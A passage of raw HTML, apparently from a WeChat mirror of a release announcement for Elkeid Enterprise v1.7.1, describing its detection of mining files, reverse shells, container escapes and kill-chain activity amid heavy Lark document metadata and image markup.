f&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;:{&#34;level&#34;:1},&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d2ee7aed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkC2Npm2lx5cDdnbDrwJNQmibCXtAlJoqng8xl8icGhDMNaKANuFPryHLag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dc19993e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCZEIUXKmNUAYbbhWibjVEXNgbSPTHVBomyp3lbju70jxPZScibaT5Hbrg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>例二：静态检测周期扫描中，发现 <span style="color: rgb(0, 122, 170);">/root/bincheck0310</span> 目录下存在疑似挖矿类的 test_6002 文件。</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;例二：静态检测周期扫描中，发现 /root/bincheck0310 目录下存在疑似挖矿类的 test_6002 文件。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1+1*0+j*1+c*0+d*1+9*0+3*1+1&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]},&#34;nextNum&#34;:2}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.50234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a9317f78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCWp5l8vCddFBDLPxpbnice5tjKZnFnibGjxjL9HKAreJ9IXrSpt3VbcdQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>恶意行为检测能力</strong></p></li></ul><p>对主机上正在执行的进程链进行行为检测，用于检测各类远程命令执行，权限提升，反弹shell，驻留行为，信息收集行为，后门行为等。由于 Elkeid 出色的底层数据采集能力，在该项中表现更加精准，上下文数据更为全面，更符合安全运营的告警处理逻辑。</p><p><br/></p><p>例一：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">以简单的反弹shell为例，我们可以看到</span><code><span style="color: rgb(0, 122, 170);">进程树信息</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">进程的</span><code><span style="color: rgb(0, 122, 170);">连接信息</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">进程的</span><code><span style="color: rgb(0, 122, 170);">输入</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">/</span><code><span style="color: rgb(0, 122, 170);">输出</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">与</span><code><span style="color: rgb(0, 122, 170);">SSH信息</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，以及对应的</span><code><span style="color: rgb(0, 122, 170);">父进程命令行</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">与</span><code><span style="color: rgb(0, 122, 170);">进程组命令行</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">信息，可以有效的帮助运营人员理解告警成因。</span></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:37,&#34;end&#34;:40,&#34;blockIds&#34;:[44,45,46,47],&#34;recordIds&#34;:[&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;],&#34;recordMap&#34;:{&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;:{&#34;id&#34;:&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;恶意行为检测能力&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;:{&#34;id&#34;:&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1*1+b*0+7*1+4*0+17*1+7*0+x*1+f&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;对主机上正在执行的进程链进行行为检测，用于检测各类远程命令执行，权限提升，反弹shell，驻留行为，信息收集行为，后门行为等。由于 Elkeid 出色的底层数据采集能力，在该项中表现更加精准，上下文数据更为全面，更符合安全运营的告警处理逻辑。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;:{&#34;id&#34;:&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例一：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;:{&#34;id&#34;:&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;inlineCode&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+k*0*1+5*0+4*0*1+4*0+4*0*1+2*0+1*0*1+2*0+1*0*1+5*0+6*0*1+6*0+1*0*1+6*0+l&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;以简单的反弹shell为例，我们可以看到进程树信息，进程的连接信息，进程的输入/输出与SSH信息，以及对应的父进程命令行与进程组命令行信息，可以有效的帮助运营人员理解告警成因。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;:{&#34;level&#34;:1},&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;:{&#34;level&#34;:1},&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=55b62149&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCG9swgQJbUFf7xReJibmjUmd68UUE4bMQH49jiaQ5M3WTJotKgEia1tMxQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p>例二：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">以</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">容器逃逸为例，我们除了</span><code>父进程命令行</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">与</span><code>进程组命令行</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">等信息以外，还会提供诸如</span><code><span style="color: rgb(0, 122, 170);">文件路径</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span><code><span style="color: rgb(0, 122, 170);">外联进程命令行</span></code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">等辅助字段，用于辅助判断恶意文件和潜在入侵入口。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=70a204af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCwGBf4qvoCIE3fcRQuosNvfDjMeIKD9y6QFia7YFqFGL0dL0sEpmkaicw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>杀伤链检测</strong></p></li></ul><p>有鉴于APT入侵过程均较为隐蔽，整体行为非常接近正常运维/业务操作，且也不一定会用到特征明显的后门或者木马。Elkeid 会对机器上的行为序列进行分析、打分、并按照杀伤链合并成告警，可以有效发现掩盖在业务操作中的隐蔽入侵行为。</p><p><br/></p><p>例一：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 